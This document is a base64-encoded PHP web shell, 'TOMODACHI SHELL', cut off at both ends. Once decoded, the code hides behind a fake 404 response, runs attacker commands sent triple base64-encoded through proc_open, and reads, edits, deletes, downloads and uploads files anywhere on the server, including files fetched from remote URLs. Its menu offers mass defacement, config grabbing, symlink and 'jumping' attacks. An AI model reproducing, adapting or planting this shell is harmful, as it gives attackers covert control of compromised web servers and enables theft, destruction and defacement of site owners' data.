KCXdhaXQ7DQp9DQoNCjwvc3R5bGU+DQo8c2NyaXB0Pg0KZnVuY3Rpb24gc2V0ZmlsZW5hbWUodmFsKQ0KICB7DQogICAgZmlsZW5hbWUgPSB2YWwuc3BsaXQoJ1xcJykucG9wKCkuc3BsaXQoJy8nKS5wb3AoKTsNCiAgICAvL2ZpbGVuYW1lID0gZmlsZW5hbWUuc3Vic3RyaW5nKDAsIGZpbGVuYW1lLmxhc3RJbmRleE9mKCcuJykpOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduYW1hbnlhJykudmFsdWUgPSBmaWxlbmFtZTsNCiAgfQ0KDQphc3luYyBmdW5jdGlvbiBsb2FkRmlsZShmaWxlKSB7DQogICAgbGV0IHRleHQgPSBhd2FpdCBmaWxlLnRleHQoKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYnlwYXNzZGF0YSIpLmlubmVySFRNTCA9IHRleHQ7DQp9DQo8L3NjcmlwdD4NCjxjZW50ZXI+DQo8Zm9udCBmYWNlPSJCdW5nZWUiIHNpemU9IjUiPlRPTU9EQUNISSBTSEVMTDwvZm9udD48L2NlbnRlcj48YnI+Jm5ic3A7DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4JDQo8dHI+PHRkPg0KPD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpAaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoNCiRkaXNmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQppZiAoZW1wdHkoJGRpc2Z1bmMpKSB7DQogICAgJGRpc2YgPSAiPGZvbnQgY29sb3I9J2dvbGQnPk5PTkU8L2ZvbnQ+IjsNCn0gZWxzZSB7DQogICAgJGRpc2YgPSAiPGZvbnQgY29sb3I9J3JlZCc+Ii4kZGlzZnVuYy4iPC9mb250PiI7DQp9DQoNCmZ1bmN0aW9uIGF1dGhvcigpIHsNCiAgICBlY2hvICI8Y2VudGVyPjxicj5Ub21vZGFjaGkgfCBUZW1wZXN0IEhhY2tlcjwvY2VudGVyPiI7DQogICAgZXhpdCgpOw0KfQ0KDQpmdW5jdGlvbiBjZWtkaXIoKSB7DQogICAgaWYgKGlzc2V0KCRfR0VUWydwYXRoJ10pKSB7DQogICAgICAgICRsb2thc2kgPSAkX0dFVFsncGF0aCddOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRsb2thc2kgPSBnZXRjd2QoKTsNCiAgICB9DQogICAgaWYgKGlzX3dyaXRhYmxlKCRsb2thc2kpKSB7DQogICAgICAgIHJldHVybiAiPGZvbnQgY29sb3I9J2dyZWVuJz5Xcml0ZWFibGU8L2ZvbnQ+IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPSdyZWQnPldyaXRlYWJsZTwvZm9udD4iOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gY2Vrcm9vdCgpIHsNCiAgICBpZiAoaXNfd3JpdGFibGUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkpIHsNCiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj0nZ3JlZW4nPldyaXRlYWJsZTwvZm9udD4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiAiPGZvbnQgY29sb3I9J3JlZCc+V3JpdGVhYmxlPC9mb250PiI7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiB4cm1kaXIoJGRpcikgew0KICAgICRpdGVtcyA9IHNjYW5kaXIoJGRpcik7DQogICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7DQogICAgICAgIGlmICgkaXRlbSA9PT0gJy4nIHx8ICRpdGVtID09PSAnLi4nKSB7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICAkcGF0aCA9ICRkaXIuJy8nLiRpdGVtOw0KICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSkgew0KICAgICAgICAgICAgeHJtZGlyKCRwYXRoKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHVubGluaygkcGF0aCk7DQogICAgICAgIH0NCiAgICB9DQogICAgcm1kaXIoJGRpcik7DQp9DQoNCmZ1bmN0aW9uIGR1bmx1dCgkZmlsZSkgew0KICAgIGlmICghaXNfcmVhZGFibGUoJGZpbGUpKSB7DQogICAgICAgIHJlZCgiQ2Fubm90IERvd25sb2FkIEZpbGUgLyBVbnJlYWRhYmxlIEZpbGUgISIpOw0KICAgICAgICBkaWUoKTsNCiAgICB9DQogICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7DQogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuYmFzZW5hbWUoJGZpbGUpLiciJyk7DQogICAgaGVhZGVyKCdFeHBpcmVzOiAwJyk7DQogICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUnKTsNCiAgICBoZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7DQogICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlcGF0aCkpOw0KICAgIGZsdXNoKCk7DQogICAgcmVhZGZpbGUoJGZpbGUpOw0KICAgIGRpZSgpOw0KfQ0KDQpmdW5jdGlvbiBvd25lcigkZmlsZSkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikpIHsNCiAgICAgICAgJHRvZCA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGZpbGUpKTsNCiAgICAgICAgcmV0dXJuICI8Y2VudGVyPiIuJHRvZFsnbmFtZSddLiI8L2NlbnRlcj4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiAiPGNlbnRlcj4iLmZpbGVvd25lcigkZmlsZSkuIjwvY2VudGVyPiI7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBjZWt3cml0ZSgkbG9rYXNpKSB7DQogICAgJGl6aW4gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGxva2FzaSkpLCAtNCk7DQogICAgaWYgKGlzX3dyaXRhYmxlKCRsb2thc2kpKSB7DQogICAgICAgIHJldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kaXppbi4iPC9mb250PiI7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii4kaXppbi4iPC9mb250PiI7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBla3NlKCRrb21lbmQsICRsb2thc2kpIHsNCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicHJvY19vcGVuIikpIHsNCiAgICAgICAgZGllKCJwcm9jX29wZW4gZnVuY3Rpb24gZGlzYWJsZWQgISIpOw0KICAgIH0gZWxzZWlmICghZnVuY3Rpb25fZXhpc3RzKCJiYXNlNjRfZGVjb2RlIikpIHsNCiAgICAgICAgZGllKCJiYXNlNjRfZGVjb2RlIGZ1bmN0aW9uIGRpc2FibGVkICEiKTsNCiAgICB9DQogICAgJGtvbWVuID0gYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJGtvbWVuZCkpKTsNCiAgICAkdG9kID0gQHByb2Nfb3Blbigka29tZW4sIGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJyIikpLCAkcGlwZXMsICRsb2thc2kpOw0KICAgIGVjaG8gIjx0ZXh0YXJlYSByb3dzPScyNScgY29scz0nMTAwJz4iLmh0bWxzcGVjaWFsY2hhcnMoc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pKS4iPC90ZXh0YXJlYT48YnI+PGJyPiI7DQp9DQoNCmZ1bmN0aW9uIGlwc2VydigpIHsNCiAgICBpZiAoZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pKSB7DQogICAgICAgIHJldHVybiBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTsNCiAgICAgICAgaWYgKGVtcHR5KGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSkgew0KICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gY2VrZmlsZSgkZmlsZSkgew0KICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYSBmYS1maWxlIiBzdHlsZT0iY29sb3I6ICNkNmQ0Y2UiPjwvaT4gJzsNCn0NCg0KZnVuY3Rpb24gZmlsZWRhdGUoJGZpbGUpIHsNCiAgICByZXR1cm4gZGF0ZSgiRiBkIFkgZzppOnMiLCBmaWxlbXRpbWUoJGZpbGUpKTsNCn0NCg0KZnVuY3Rpb24gdW56aXAoJGZpbGUsICRsb2thc2kpIHsNCiAgICBpZiAoIWlzX3JlYWRhYmxlKCRmaWxlKSkgew0KICAgICAgICByZWQoIkNhbm5vdCBVbnppcCBGaWxlIC8gVW5yZWFkYWJsZSBGaWxlICEiKTsNCiAgICAgICAgZGllKCk7DQogICAgfSBlbHNlaWYgKHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkZmlsZSksICJceDUwXHg0Ylx4MDNceDA0IikgPT09IGZhbHNlKSB7DQogICAgICAgIHJlZCgiVGhpcyBpc24ndCBaaXAgRmlsZSAhIik7DQogICAgICAgIGRpZSgpOw0KICAgIH0NCiAgICAkemlwID0gbmV3IFppcEFyY2hpdmU7DQogICAgJHJlcyA9ICR6aXAgLT4gb3BlbigkZmlsZSk7DQogICAgaWYgKCRyZXMgPT0gdHJ1ZSkgew0KICAgICAgICAkemlwIC0+IGV4dHJhY3RUbygkbG9rYXNpKTsNCiAgICAgICAgJHppcCAtPiBjbG9zZSgpOw0KICAgICAgICBncmVlbigiU3VjY2VzcyBVbnppcCBGaWxlICEiKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZWQoIkZhaWxlZCB0byBVbnppcCBGaWxlICEiKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGdyZWVuKCR0ZXh0KSB7DQogICAgZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj0nZ3JlZW4nPiIuJHRleHQuIjwvY2VudGVyPjwvZm9udD4iOw0KfQ0KDQpmdW5jdGlvbiByZWQoJHRleHQpIHsNCiAgICBlY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPSdyZWQnPiIuJHRleHQuIjwvY2VudGVyPjwvZm9udD4iOw0KfQ0KDQppZiAoZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jb25uZWN0IikpIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iOw0KfSBlbHNlIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQp9DQplY2hvICIgJm5ic3A7fCZuYnNwOyBjVVJMIDogIjsNCmlmIChmdW5jdGlvbl9leGlzdHMoImN1cmxfaW5pdCIpKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IjsNCn0gZWxzZSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KfQ0KZWNobyAiICZuYnNwO3wmbmJzcDsgV0dFVCA6ICI7DQppZiAoZmlsZV9leGlzdHMoIi91c3IvYmluL3dnZXQiKSkgew0KICAgIGVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiI7DQp9IGVsc2Ugew0KICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCn0NCmVjaG8gIiAmbmJzcDt8Jm5ic3A7IFBlcmwgOiAiOw0KaWYgKGZpbGVfZXhpc3RzKCIvdXNyL2Jpbi9wZXJsIikpIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iOw0KfSBlbHNlIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQp9DQplY2hvICIgJm5ic3A7fCZuYnNwOyBQeXRob24gOiAiOw0KaWYgKGZpbGVfZXhpc3RzKCIvdXNyL2Jpbi9weXRob24yIikpIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iOw0KfSBlbHNlIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQp9DQoNCmZvcmVhY2goJF9QT1NUIGFzICRrZXkgPT4gJHZhbHVlKXsNCiAgICAkX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsNCn0NCg0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRsb2thc2kgPSAkX0dFVFsncGF0aCddOw0KICAgICRsb2tkdWEgPSAkX0dFVFsncGF0aCddOw0KfSBlbHNlIHsNCiAgICAkbG9rYXNpID0gZ2V0Y3dkKCk7DQogICAgJGxva2R1YSA9IGdldGN3ZCgpOw0KfQ0KDQokbG9rYXNpID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJGxva2FzaSk7DQokbG9rYXNpcyA9IGV4cGxvZGUoJy8nLCRsb2thc2kpOw0KJGxva2FzaW55YSA9IEBzY2FuZGlyKCRsb2thc2kpOw0KDQplY2hvICI8YnI+RGlyZWN0b3J5ICgiLmNla3dyaXRlKCRsb2thc2kpLiIpIDogJm5ic3A7IjsNCg0KZm9yZWFjaCgkbG9rYXNpcyBhcyAkaWQgPT4gJGxvayl7DQogICAgaWYoJGxvayA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJGxvayA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgIGVjaG8gIiRsb2thc2lzWyRpXSI7DQogICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCn0gDQplY2hvICciPicuJGxvay4nPC9hPi8nOw0KfQ0KDQplY2hvICc8L3RkPjwvdHI+PHRyPjx0ZD4nOw0KaWYgKGlzc2V0KCRfUE9TVFsndXB3a3drd2snXSkpIHsNCiAgICBpZiAoJF9QT1NUWydkaXJueWEnXSA9PSAiMiIpIHsNCiAgICAgICAgICAgICRsb2thc2kgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOw0KICAgICAgICB9DQogICAgaWYgKGlzc2V0KCRfUE9TVFsnYmVya2FzbnlhJ10pKSB7DQogICAgICAgICRkYXRhID0gQGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2kuIi8iLiRfRklMRVNbJ2JlcmthcyddWyduYW1lJ10sIEBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWydiZXJrYXMnXVsndG1wX25hbWUnXSkpOw0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxva2FzaS4iLyIuJF9GSUxFU1snYmVya2FzJ11bJ25hbWUnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gIkZpbGUgVXBsb2FkZWQgISAmbmJzcDs8Zm9udCBjb2xvcj0nZ29sZCc+PGk+Ii4kbG9rYXNpLiIvIi4kX0ZJTEVTWydiZXJrYXMnXVsnbmFtZSddLiI8L2k+PC9mb250Pjxicj48YnI+IjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPkZhaWxlZCB0byBVcGxvYWQgITxicj48YnI+IjsNCiAgICAgICAgfQ0KICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2xpbmtueWEnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsnbmFtYWxpbmsnXSkpIHsNCiAgICAgICAgICAgIGV4aXQoIkZpbGVuYW1lIGNhbm5vdCBiZSBlbXB0eSAhIik7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRfUE9TVFsnZGlybnlhJ10gPT0gIjIiKSB7DQogICAgICAgICAgICAkbG9rYXNpID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsNCiAgICAgICAgfQ0KICAgICAgICAkZGF0YSA9IEBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLiIvIi4kX1BPU1RbJ25hbWFsaW5rJ10sIEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ2RhcmlsaW5rJ10pKTsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRsb2thc2kuIi8iLiRfUE9TVFsnbmFtYWxpbmsnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gIkZpbGUgVXBsb2FkZWQgISAmbmJzcDs8Zm9udCBjb2xvcj0nZ29sZCc+PGk+Ii4kbG9rYXNpLiIvIi4kX1BPU1RbJ25hbWFsaW5rJ10uIjwvaT48L2ZvbnQ+PGJyPjxicj4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb2U9J3JlZCc+RmFpbGVkIHRvIFVwbG9hZCAhPGJyPjxicj4iOw0KICAgICAgICB9DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmVwYXMnXSkpIHsNCiAgICAgICAgJGJlcGFzZGF0YSA9ICRfUE9TVFsnYmVwYXNkYXRhJ107DQogICAgICAgICRiZXBhc25hbWEgPSAkX1BPU1RbJ2JlcGFzbmFtYSddOw0KICAgICAgICBpZiAoJGJlcGFzZGF0YSkgew0KICAgICAgICAgICAgZWNobyAic3RyaW5nIjsNCiAgICAgICAgfQ0KICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGxva2FzaS4iLyIuJGJlcGFzbmFtYSwgJGJlcGFzZGF0YSk7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cygkbG9rYXNpLiIvIi4kYmVwYXNuYW1hKSkgew0KICAgICAgICAgICAgZWNobyAiRmlsZSBVcGxvYWRlZCAhICZuYnNwOzxmb250IGNvbG9yPSdnb2xkJz48aT4iLiRsb2thc2kuIi8iLiRiZXBhc25hbWEuIjwvaT48L2ZvbnQ+PGJyPjxicj4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb2U9J3JlZCc+RmFpbGVkIHRvIFVwbG9hZCAhPGJyPjxicj4iOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQplY2hvICI8L3RhYmxlPjxicj4iOw0KZWNobyAnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI1IiBjZWxsc3BhY2luZz0iNSIgYWxpZ249ImNlbnRlciI+JzsNCmVjaG8gJzx0aD4gJm5ic3A7PGEgY2xhc3M9ImJ1dHRvbiIgaHJlZj0iJy4kX1NFUlZFUlsnU0NSSVBUX05BTUUnXS4nIj5Ib21lPC9hPiZuYnNwOyA8L3RoPic7DQplY2hvICc8dGg+ICZuYnNwOzxhIGNsYXNzPSJidXR0b24iIGhyZWY9Ij9wYXRoPScuJGxva2FzaS4nJmtvbWVuZD10b21vZGFjaGkiPiYjOTc0MTsgQ29tbWFuZDwvYT4mbmJzcDsgPC90aD4nOw0KZWNobyAnPHRoPiAmbmJzcDs8YSBjbGFzcz0iYnV0dG9uIiBocmVmPSI/cGF0aD0nLiRsb2thc2kuJyZ1cGxvYWQ9dG9tb2RhY2hpIj4mIzk3NDE7IFVwbG9hZCBGaWxlPC9hPiZuYnNwOyA8L3RoPic7DQplY2hvICc8dGg+ICZuYnNwOzxhIGNsYXNzPSJidXR0b24iIGhyZWY9Ij9wYXRoPScuJGxva2FzaS4nJmluZm89dG9tb2RhY2hpIj4mIzk3NDE7SW5mbyBTZXJ2ZXI8L2E+Jm5ic3A7IDwvdGg+JzsNCmVjaG8gJzx0aD4gJm5ic3A7PGEgY2xhc3M9ImJ1dHRvbiIgaHJlZj0iP3BhdGg9Jy4kbG9rYXNpLicmYnVhdGZpbGU9dG9tb2RhY2hpIj4mIzk3NDE7IEJ1YXQgRmlsZTwvYT4mbmJzcDsgPC90aD4nOw0KZWNobyAnPHRoPiAmbmJzcDs8YSBjbGFzcz0iYnV0dG9uIiBocmVmPSI/cGF0aD0nLiRsb2thc2kuJyZtYXNzPXRvbW9kYWNoaSI+JiM5NzQxOyBNYXNzIGRlZmFjZTwvYT4mbmJzcDsgPC90aD4nOw0KZWNobyAnPHRoPiAmbmJzcDs8YSBjbGFzcz0iYnV0dG9uIiBocmVmPSI/cGF0aD0nLiRsb2thc2kuJyZqdW1wPXRvbW9kYWNoaSI+JiM5NzQxOyBKdW1waW5nPC9hPiZuYnNwOyA8L3RoPic7DQplY2hvICc8dGg+ICZuYnNwOzxhIGNsYXNzPSJidXR0b24iIGhyZWY9Ij9wYXRoPScuJGxva2FzaS4nJmNvbmZpZz10b21vZGFjaGkiPiYjOTc0MTsgQ29uZmlnPC9hPiZuYnNwOyA8L3RoPic7DQplY2hvICc8dGg+ICZuYnNwOzxhIGNsYXNzPSJidXR0b24iIGhyZWY9Ij9wYXRoPScuJGxva2FzaS4nJnN5bWxpbms9dG9tb2RhY2hpIj4mIzk3NDE7IFN5bWxpbms8L2E+Jm5ic3A7IDwvdGg+JzsNCmVjaG8gJzx0aD4gJm5ic3A7PGEgY2xhc3M9ImJ1dHRvbiIgaHJlZj0iP3BhdGg9Jy4kbG9rYXNpLicmYWJvdXQ9dG9tb2RhY2hpIj4mIzk3NDE7IEFib3V0PC9hPiZuYnNwOyA8L3RoPic7DQplY2hvICI8L3RhYmxlPjxicj4iOw0KDQppZiAoaXNzZXQoJF9HRVRbJ2ZpbGVsb2MnXSkpIHsNCiAgICBlY2hvICI8dHI+PHRkPkN1cnJlbnQgRmlsZSA6ICIuJF9HRVRbJ2ZpbGVsb2MnXTsNCiAgICBlY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIvPic7DQogICAgZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVsb2MnXSkpLiI8L3ByZT4iOw0KICAgIGF1dGhvcigpOw0KfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydwaWxpaGFuJ10pICYmICRfUE9TVFsncGlsaWgnXSA9PSAiaGFwdXMiKSB7DQogICAgaWYgKGlzX2RpcigkX1BPU1RbJ3BhdGgnXSkpIHsNCiAgICAgICAgeHJtZGlyKCRfUE9TVFsncGF0aCddKTsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfUE9TVFsncGF0aCddKSkgew0KICAgICAgICAgICAgcmVkKCJGYWlsZWQgdG8gZGVsZXRlIERpcmVjdG9yeSAhIik7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBncmVlbigiRGVsZXRlIERpcmVjdG9yeSBTdWNjZXNzICEiKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZWlmIChpc19maWxlKCRfUE9TVFsncGF0aCddKSkgew0KICAgICAgICBAdW5saW5rKCRfUE9TVFsncGF0aCddKTsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfUE9TVFsncGF0aCddKSkgew0KICAgICAgICAgICAgcmVkKCJGYWlsZWQgdG8gRGVsZXRlIEZpbGUgISIpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZ3JlZW4oIkRlbGV0ZSBGaWxlIDxpPiIuYmFzZW5hbWUoJF9QT1NUWydwYXRoJ10pLiI8L2k+IFN1Y2Nlc3MgISIpOw0KICAgICAgICB9DQogICAgfQ0KfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydwaWxpaGFuJ10pICYmICRfUE9TVFsncGlsaWgnXSA9PSAiZ2FudGluYW1hIikgew0KICAgIGlmIChpc3NldCgkX1BPU1RbJ2dhbnRpbiddKSkgew0KICAgICAgICAkcmVuID0gQHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwgJF9QT1NUWyduZXduYW1lJ10pOw0KICAgICAgICBpZiAoJHJlbiA9PSB0cnVlKSB7DQogICAgICAgICAgICBncmVlbigiQ2hhbmdlIE5hbWUgU3VjY2VzcyAhIik7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICByZWQoIkNoYW5nZSBOYW1lIEZhaWxlZCAhIik7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKGVtcHR5KCRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAkbmFtYWF3YWwgPSAkX1BPU1RbJ25ld25hbWUnXTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkbmFtYXdhbCA9ICRfUE9TVFsnbmFtZSddOw0KICAgIH0NCiAgICBlY2hvICI8Y2VudGVyPiIuJF9QT1NUWydwYXRoJ10uIjxicj4iOw0KICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgY2xhc3M9InVwIiBzaXplPSIyMCIgdmFsdWU9IicuJG5hbWFhd2FsLiciIC8+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGlsaWgiIHZhbHVlPSJnYW50aW5hbWEiPg0KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDaGFuZ2UiIG5hbWU9ImdhbnRpbiIgY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLWNvbG9yOiAjZmZmIi8+DQogICAgPC9mb3JtPic7DQp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3BpbGloYW4nXSkgJiYgJF9QT1NUWydwaWxpaCddID09ICJlZGl0Iikgew0KICAgIGlmIChpc3NldCgkX1BPU1RbJ2dhc2VkaXQnXSkpIHsNCiAgICAgICAgJGVkaXQgPSBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10sICRfUE9TVFsnc3JjJ10pOw0KICAgICAgICBpZiAoJGVkaXQgPT0gdHJ1ZSkgew0KICAgICAgICAgICAgZ3JlZW4oIkVkaXQgRmlsZSBTdWNjZXNzICEiKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHJlZCgiRWRpdCBGaWxlIEZhaWxlZCAhIik7DQogICAgICAgIH0NCiAgICB9DQogICAgZWNobyAiPGNlbnRlcj4iLiRfUE9TVFsncGF0aCddLiI8YnI+PGJyPiI7DQogICAgZWNobyAnPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICA8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBpbGloIiB2YWx1ZT0iZWRpdCI+DQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgbmFtZT0iZ2FzZWRpdCIgY2xhc3M9ImJ1dHRvbiIgLz4NCiAgICA8L2Zvcm0+PGJyPic7DQp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3BpbGloYW4nXSkgJiYgJF9QT1NUWydwaWxpaCddID09ICJkb3dubG9hZCIpIHsNCiAgICBkdW5sdXQoJF9QT1NUWydwYXRoJ10pOw0KfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydwaWxpaGFuJ10pICYmICRfUE9TVFsncGlsaWgnXSA9PSAidW56aXAiKSB7DQogICAgdW56aXAoJF9QT1NUWydwYXRoJ10sICRsb2thc2kpOw0KfSBlbHNlaWYgKCRfUkVRVUVTVFsndXBsb2FkJ10gPT0gInRvbW9kYWNoaSIpIHsNCiAgICBlY2hvICI8Y2VudGVyPlVwbG9hZCBGaWxlIDogIjsNCiAgICBlY2hvICc8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InJhZGlvIiB2YWx1ZT0iMSIgbmFtZT0iZGlybnlhIiBjaGVja2VkPmN1cnJlbnRfZGlyIFs